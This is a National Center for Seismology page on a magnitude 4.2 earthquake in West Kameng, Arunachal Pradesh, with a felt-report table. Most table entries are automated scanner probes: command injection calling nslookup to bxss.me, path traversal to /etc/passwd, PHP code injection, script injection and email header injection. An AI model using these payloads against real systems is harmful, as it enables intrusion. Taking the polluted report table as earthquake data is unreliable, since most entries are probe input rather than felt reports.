National Center for Seismology

Ministry of Earth Sciences

Government of India

   
Back to Earthquakes

M: 4.2 - West Kameng, Arunachal Pradesh

Origin Time 2023-05-28 03:06:34 (IST)
Lat, Long 27.19, 92.59
Magnitude 4.2
Depth 5km
Event Status Reviewed

40
35
30
25
20
15
10
5
0
6065707580859095100
 

Responses vs. Time Plot

Hours
MMI Distance Latitude Longitude Date & Time
II Unknown Distance Unknown data Unknown data 2023-06-13 10:25:03 UTC
II 10113.47 KM 1 1 2023-06-13 10:25:07 UTC
I 12591.06 KM 37.9088383 -103.198582 2023-06-13 10:25:32 UTC
I 12591.06 KM 37.9088383 -103.198582 2023-06-13 10:25:32 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:14 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:16 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:18 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:19 UTC
II 10164.31 KM response.write(9301274*9467463) 1 2023-06-13 10:28:20 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:21 UTC
II 10164.31 KM '+response.write(9301274*9467463)+' 1 2023-06-13 10:28:23 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:23 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:24 UTC
II 10164.31 KM "+response.write(9301274*9467463)+" 1 2023-06-13 10:28:25 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:26 UTC
II 10164.31 KM TvxNvPwz 1 2023-06-13 10:28:26 UTC
II 10212.32 KM 1 response.write(9096431*9633695) 2023-06-13 10:28:28 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:28 UTC
II 10212.32 KM 1 dLnAxRSO 2023-06-13 10:28:28 UTC
II 10212.32 KM 1 '+response.write(9096431*9633695)+' 2023-06-13 10:28:30 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:30 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:30 UTC
II 10212.32 KM 1 "+response.write(9096431*9633695)+" 2023-06-13 10:28:32 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:32 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:32 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:34 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:34 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:35 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:35 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:36 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:36 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:37 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:38 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:38 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:38 UTC
II 10164.31 KM echo ucwvfm$()\ buueuw\nz^xyu||a #' &echo ucw 1 2023-06-13 10:28:38 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:39 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:40 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:40 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:40 UTC
II 10164.31 KM &echo dchptw$()\ xndsud\nz^xyu||a #' &echo dc 1 2023-06-13 10:28:41 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:41 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:42 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:42 UTC
II 10164.31 KM |echo ubierk$()\ hrjvzy\nz^xyu||a #' |echo ub 1 2023-06-13 10:28:43 UTC
II 10113.47 KM 1%0abcc:009247.14757-6858.14757.21acc.19521.2 1 2023-06-13 10:28:43 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:44 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:44 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:44 UTC
II 10164.31 KM to@example.com>%0d%0abcc:009247.14757-6859.14 1 2023-06-13 10:28:45 UTC
II 10164.31 KM (nslookup hitjpaibqmhwxb2aa3.bxss.me||perl -e 1 2023-06-13 10:28:46 UTC
II 10164.31 KM ../../../../../../../../../../../../../../etc 1 2023-06-13 10:28:46 UTC
II Unknown Distance Unknown data 1 2023-06-13 10:28:46 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:46 UTC
II 10113.47 KM 1 1%0abcc:009247.14757-6860.14757.21acc.19521.2 2023-06-13 10:28:47 UTC
II 10164.31 KM $(nslookup hitseduqmgxni5856d.bxss.me||perl - 1 2023-06-13 10:28:47 UTC
II 10164.31 KM ../../../../../../../../../../../../../../win 1 2023-06-13 10:28:47 UTC
II 7049.41 KM 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'???? 1 2023-06-13 10:28:48 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:48 UTC
II 10212.32 KM 1 to@example.com>%0d%0abcc:009247.14757-6862.14 2023-06-13 10:28:49 UTC
II 10164.31 KM &(nslookup hitgvpanqemno1ce4f.bxss.me||perl - 1 2023-06-13 10:28:49 UTC
II 10164.31 KM file:///etc/passwd 1 2023-06-13 10:28:49 UTC
II Unknown Distance 1 Unknown data 2023-06-13 10:28:49 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:49 UTC
II 10164.31 KM |(nslookup hithmuokqhrlpd53ba.bxss.me||perl - 1 2023-06-13 10:28:51 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:51 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:51 UTC
II 3198.97 KM 1 12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'???? 2023-06-13 10:28:51 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:51 UTC
II 10164.31 KM ../1 1 2023-06-13 10:28:52 UTC
II 10164.31 KM `(nslookup hitwsguxhkhak2e633.bxss.me||perl - 1 2023-06-13 10:28:52 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:53 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:53 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:54 UTC
II 10212.32 KM 1 ../../../../../../../../../../../../../../etc 2023-06-13 10:28:54 UTC
II 10164.31 KM ;(nslookup hitsviuysgsvw2d65b.bxss.me||perl - 1 2023-06-13 10:28:54 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:54 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:54 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:55 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:55 UTC
II 10212.32 KM 1 ../../../../../../../../../../../../../../win 2023-06-13 10:28:55 UTC
II 10212.32 KM 1 echo reqmca$()\ earidz\nz^xyu||a #' &echo req 2023-06-13 10:28:56 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:56 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:56 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:56 UTC
II 10212.32 KM 1 file:///etc/passwd 2023-06-13 10:28:56 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:57 UTC
II 10212.32 KM 1 &echo ixrwjb$()\ hckcxf\nz^xyu||a #' &echo ix 2023-06-13 10:28:57 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:57 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:57 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:58 UTC
I 10113.47 KM 1 1 2023-06-13 10:28:58 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:58 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:59 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:59 UTC
II 10212.32 KM 1 |echo ndefsq$()\ kixklh\nz^xyu||a #' |echo nd 2023-06-13 10:28:59 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:59 UTC
II 10113.47 KM 1 1 2023-06-13 10:28:59 UTC
II 10164.31 KM ${9999666+9999190} 1 2023-06-13 10:29:00 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:00 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:00 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:00 UTC
II 10212.32 KM 1 ../1 2023-06-13 10:29:00 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:00 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:00 UTC
II 10212.32 KM 1 (nslookup hitiohgviiwjb82e4f.bxss.me||perl -e 2023-06-13 10:29:01 UTC
II 10212.32 KM 1 ${9999262+10000212} 2023-06-13 10:29:01 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:01 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:01 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:01 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:02 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:02 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:02 UTC
II 10212.32 KM 1 $(nslookup hitovfkuonxhudc06f.bxss.me||perl - 2023-06-13 10:29:02 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:03 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:03 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:03 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:03 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:03 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:03 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:03 UTC
II 10212.32 KM 1 &(nslookup hitiahmtgcuvd24f66.bxss.me||perl - 2023-06-13 10:29:03 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:04 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:05 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:05 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:05 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:05 UTC
II 10212.32 KM 1 |(nslookup hitfuoqwgwius8d596.bxss.me||perl - 2023-06-13 10:29:05 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:05 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:06 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:06 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:06 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:07 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:07 UTC
II 10212.32 KM 1 `(nslookup hitzogqbwucin6f5b2.bxss.me||perl - 2023-06-13 10:29:07 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:07 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:08 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:08 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:08 UTC
II 10212.32 KM 1 ;(nslookup hitsxpcewqewf4c969.bxss.me||perl - 2023-06-13 10:29:08 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:09 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:09 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:09 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:09 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:10 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:10 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:10 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:11 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:11 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:11 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:12 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:13 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:13 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:14 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:14 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:14 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:14 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:14 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:15 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:16 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:16 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:16 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:16 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:17 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:17 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:17 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:17 UTC
II 10113.47 KM 1&n926670=v946455 1 2023-06-13 10:29:18 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:18 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:18 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:18 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:18 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:18 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:19 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:19 UTC
II 10113.47 KM 1 1&n975079=v962456 2023-06-13 10:29:19 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:19 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:19 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:19 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:19 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:20 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:20 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:20 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:21 UTC
II 10164.31 KM '.gethostbyname(lc('hitvl'.'ubwxpvni98ed6.bxs 1 2023-06-13 10:29:21 UTC
II 10164.31 KM HttP://bxss.me/t/xss.html?%00 1 2023-06-13 10:29:21 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:21 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:21 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:22 UTC
II 10164.31 KM ) 1 2023-06-13 10:29:22 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:22 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:22 UTC
II 10164.31 KM ".gethostbyname(lc("hitvy"."aoldtnki98924.bxs 1 2023-06-13 10:29:23 UTC
II 10164.31 KM bxss.me/t/xss.html?%00 1 2023-06-13 10:29:23 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:23 UTC
II 10164.31 KM http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulas 1 2023-06-13 10:29:23 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:23 UTC
II 10164.31 KM !(()&&!|*|*| 1 2023-06-13 10:29:23 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:23 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:23 UTC
II 10212.32 KM 1 HttP://bxss.me/t/xss.html?%00 2023-06-13 10:29:24 UTC
II 10212.32 KM 1 '.gethostbyname(lc('hitqn'.'zjvpizoxd6ee6.bxs 2023-06-13 10:29:24 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:24 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:24 UTC
II 10113.47 KM 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00. 1 2023-06-13 10:29:24 UTC
II 10164.31 KM ^(#$!@#$)(()))****** 1 2023-06-13 10:29:24 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:24 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:24 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:25 UTC
II 10212.32 KM 1 ".gethostbyname(lc("hitvf"."llhhyiay99be7.bxs 2023-06-13 10:29:25 UTC
II 10212.32 KM 1 bxss.me/t/xss.html?%00 2023-06-13 10:29:25 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:25 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:25 UTC
II 10212.32 KM 1 ) 2023-06-13 10:29:25 UTC
II 10164.31 KM Http://bxss.me/t/fit.txt 1 2023-06-13 10:29:25 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:25 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:25 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:26 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:26 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:26 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:26 UTC
II 10164.31 KM ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KS 1 2023-06-13 10:29:26 UTC
II 10212.32 KM 1 !(()&&!|*|*| 2023-06-13 10:29:26 UTC
II 10164.31 KM http://bxss.me/t/fit.txt%3F.jpg 1 2023-06-13 10:29:26 UTC
II 10164.31 KM "+"A".concat(70-3).concat(22*4).concat(102).c 1 2023-06-13 10:29:27 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:27 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:27 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:27 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:27 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:27 UTC
II 10164.31 KM ';print(md5(31337));$a=' 1 2023-06-13 10:29:28 UTC
II 10212.32 KM 1 ^(#$!@#$)(()))****** 2023-06-13 10:29:28 UTC
II 10164.31 KM /etc/shells 1 2023-06-13 10:29:28 UTC
II 10164.31 KM '+'A'.concat(70-3).concat(22*4).concat(105).c 1 2023-06-13 10:29:28 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:28 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:28 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:29 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:29 UTC
II 10164.31 KM ";print(md5(31337));$a=" 1 2023-06-13 10:29:29 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:29 UTC
II 10164.31 KM c:/windows/win.ini 1 2023-06-13 10:29:29 UTC
II 10212.32 KM 1 "+"A".concat(70-3).concat(22*4).concat(121).c 2023-06-13 10:29:29 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:29 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:29 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:29 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:30 UTC
II 10164.31 KM ${@print(md5(31337))} 1 2023-06-13 10:29:30 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:30 UTC
II 10164.31 KM bxss.me 1 2023-06-13 10:29:30 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:30 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:30 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:30 UTC
II 10212.32 KM 1 '+'A'.concat(70-3).concat(22*4).concat(112).c 2023-06-13 10:29:30 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:31 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:31 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:31 UTC
II 10212.32 KM 1 http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulas 2023-06-13 10:29:31 UTC
II 10164.31 KM ${@print(md5(31337))}\ 1 2023-06-13 10:29:31 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:31 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:31 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:31 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:31 UTC
II 10164.31 KM ))))))))))))))))))))))))))))))))))))))))))))) 1 2023-06-13 10:29:32 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:32 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:32 UTC
II 10113.47 KM 1 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00. 2023-06-13 10:29:32 UTC
II 10164.31 KM '.print(md5(31337)).' 1 2023-06-13 10:29:32 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:32 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:33 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:33 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:33 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:33 UTC
II 10212.32 KM 1 ))))))))))))))))))))))))))))))))))))))))))))) 2023-06-13 10:29:33 UTC
II 10212.32 KM 1 Http://bxss.me/t/fit.txt 2023-06-13 10:29:33 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:33 UTC
II 10212.32 KM 1 ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KS 2023-06-13 10:29:34 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:34 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:34 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:34 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:34 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:35 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:35 UTC
II 10212.32 KM 1 http://bxss.me/t/fit.txt%3F.jpg 2023-06-13 10:29:35 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:35 UTC
II 10212.32 KM 1 ';print(md5(31337));$a=' 2023-06-13 10:29:36 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:36 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:36 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:36 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:36 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:36 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:36 UTC
II 10212.32 KM 1 /etc/shells 2023-06-13 10:29:37 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:37 UTC
II 10212.32 KM 1 ";print(md5(31337));$a=" 2023-06-13 10:29:37 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:37 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:37 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:38 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:38 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:38 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:38 UTC
II 10212.32 KM 1 c:/windows/win.ini 2023-06-13 10:29:38 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:38 UTC
II 10212.32 KM 1 ${@print(md5(31337))} 2023-06-13 10:29:38 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:39 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:39 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:40 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:40 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:40 UTC
II 10212.32 KM 1 bxss.me 2023-06-13 10:29:40 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:40 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:40 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:41 UTC
II 10212.32 KM 1 ${@print(md5(31337))}\ 2023-06-13 10:29:41 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:41 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:42 UTC
II 10212.32 KM 1 '.print(md5(31337)).' 2023-06-13 10:29:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:42 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:43 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:43 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:44 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:44 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:44 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:44 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:44 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:45 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:45 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:45 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:45 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:45 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:45 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:46 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:46 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:47 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:47 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:47 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:47 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:47 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:48 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:48 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:48 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:49 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:49 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:49 UTC
II 10164.31 KM /xfs.bxss.me 1 2023-06-13 10:29:49 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:49 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:50 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:50 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:50 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:50 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:50 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:50 UTC
II 10212.32 KM 1 /xfs.bxss.me 2023-06-13 10:29:51 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:51 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:51 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:51 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:52 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:52 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:52 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:52 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:52 UTC
II 10164.31 KM '" 1 2023-06-13 10:29:52 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:53 UTC
I 10113.47 KM 1 1 2023-06-13 10:29:53 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:53 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:53 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:53 UTC
II 10113.47 KM 1 1 2023-06-13 10:29:53 UTC
II 10164.31 KM